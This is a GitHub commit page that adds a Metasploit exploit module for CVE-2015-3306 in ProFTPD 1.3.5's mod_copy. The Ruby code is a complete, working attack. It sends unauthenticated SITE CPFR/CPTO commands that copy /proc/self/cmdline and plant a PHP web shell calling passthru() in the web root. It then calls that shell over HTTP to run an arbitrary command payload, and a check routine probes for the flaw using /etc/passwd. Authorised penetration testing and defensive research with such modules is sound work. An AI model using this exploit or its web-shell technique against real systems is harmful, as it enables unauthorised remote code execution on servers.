Skip to content

Commit 9c97da3

Browse files
committed
Land rapid7#5224, ProFTPD mod_copy exploit
2 parents a39539f + 5ab882a commit 9c97da3

File tree

1 file changed

+148
-0
lines changed

1 file changed

+148
-0
lines changed
Lines changed: 148 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,148 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
10+
Rank = ExcellentRanking
11+
12+
include Msf::Exploit::Remote::Tcp
13+
include Msf::Exploit::Remote::HttpClient
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'ProFTPD 1.3.5 Mod_Copy Command Execution',
18+
'Description' => %q{
19+
This module exploits the SITE CPFR/CPTO commands in ProFTPD version 1.3.5.
20+
Any unauthenticated client can leverage these commands to copy files from any
21+
part of the filesystem to a chosen destination. The copy commands are executed with
22+
the rights of the ProFTPD service, which by default runs under the privileges of the
23+
'nobody' user. By using /proc/self/cmdline to copy a PHP payload to the website
24+
directory, PHP remote code execution is made possible.
25+
},
26+
'Author' =>
27+
[
28+
'Vadim Melihow', # Original discovery, Proof of Concept
29+
'xistence <xistence[at]0x90.nl>' # Metasploit module
30+
],
31+
'License' => MSF_LICENSE,
32+
'References' =>
33+
[
34+
[ 'CVE', '2015-3306' ],
35+
[ 'EDB', '36742' ],
36+
],
37+
'Privileged' => false,
38+
'Platform' => [ 'unix' ],
39+
'Arch' => ARCH_CMD,
40+
'Payload' =>
41+
{
42+
'BadChars' => '',
43+
'Compat' =>
44+
{
45+
'PayloadType' => 'cmd',
46+
'RequiredCmd' => 'generic gawk bash python perl',
47+
}
48+
},
49+
'Targets' =>
50+
[
51+
[ 'ProFTPD 1.3.5', { } ],
52+
],
53+
'DisclosureDate' => 'Apr 22 2015',
54+
'DefaultTarget' => 0))
55+
56+
register_options(
57+
[
58+
OptPort.new('RPORT', [true, 'HTTP port', 80]),
59+
OptPort.new('RPORT_FTP', [true, 'FTP port', 21]),
60+
OptString.new('SITEPATH', [true, 'Absolute writable website path', '/var/www']),
61+
OptString.new('TMPPATH', [true, 'Absolute writable/executable path', '/tmp']),
62+
OptString.new('TARGETURI', [true, 'Base path to the website', '/'])
63+
], self.class)
64+
end
65+
66+
def check
67+
ftp_port = datastore['RPORT_FTP']
68+
sock = Rex::Socket.create_tcp('PeerHost' => rhost, 'PeerPort' => ftp_port)
69+
70+
if sock.nil?
71+
fail_with(Failure::Unreachable, "#{rhost}:#{ftp_port} - Failed to connect to FTP server")
72+
else
73+
print_status("#{rhost}:#{ftp_port} - Connected to FTP server")
74+
end
75+
76+
res = sock.get_once(-1,10)
77+
unless res && res.include?('220')
78+
fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure retrieving ProFTPD 220 OK banner")
79+
end
80+
81+
sock.puts("SITE CPFR /etc/passwd\r\n")
82+
res = sock.get_once(-1,10)
83+
if res && res.include?('350')
84+
Exploit::CheckCode::Vulnerable
85+
else
86+
Exploit::CheckCode::Safe
87+
end
88+
end
89+
90+
def exploit
91+
ftp_port = datastore['RPORT_FTP']
92+
get_arg = rand_text_alphanumeric(5+rand(3))
93+
payload_name = rand_text_alphanumeric(5+rand(3)) + '.php'
94+
95+
sock = Rex::Socket.create_tcp('PeerHost' => rhost, 'PeerPort' => ftp_port)
96+
97+
if sock.nil?
98+
fail_with(Failure::Unreachable, "#{rhost}:#{ftp_port} - Failed to connect to FTP server")
99+
else
100+
print_status("#{rhost}:#{ftp_port} - Connected to FTP server")
101+
end
102+
103+
res = sock.get_once(-1,10)
104+
unless res && res.include?('220')
105+
fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure retrieving ProFTPD 220 OK banner")
106+
end
107+
108+
print_status("#{rhost}:#{ftp_port} - Sending copy commands to FTP server")
109+
110+
sock.puts("SITE CPFR /proc/self/cmdline\r\n")
111+
res = sock.get_once(-1,10)
112+
unless res && res.include?('350')
113+
fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying from /proc/self/cmdline")
114+
end
115+
116+
sock.put("SITE CPTO #{datastore['TMPPATH']}/.<?php passthru($_GET[\'#{get_arg}\']);?>\r\n")
117+
res = sock.get_once(-1,10)
118+
unless res && res.include?('250')
119+
fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying to temporary payload file")
120+
end
121+
122+
sock.put("SITE CPFR #{datastore['TMPPATH']}/.<?php passthru($_GET[\'#{get_arg}\']);?>\r\n")
123+
res = sock.get_once(-1,10)
124+
unless res && res.include?('350')
125+
fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying from temporary payload file")
126+
end
127+
128+
sock.put("SITE CPTO #{datastore['SITEPATH']}/#{payload_name}\r\n")
129+
res = sock.get_once(-1,10)
130+
unless res && res.include?('250')
131+
fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying PHP payload to website path, directory not writable?")
132+
end
133+
134+
sock.close
135+
136+
print_status("#{peer} - Executing PHP payload #{target_uri.path}#{payload_name}")
137+
res = send_request_cgi!(
138+
'uri' => normalize_uri(target_uri.path, payload_name),
139+
'method' => 'GET',
140+
'vars_get' => { get_arg => "nohup #{payload.encoded} &" },
141+
)
142+
143+
unless res && res.code == 200
144+
fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure executing payload")
145+
end
146+
end
147+
148+
end

0 commit comments

Comments
 (0)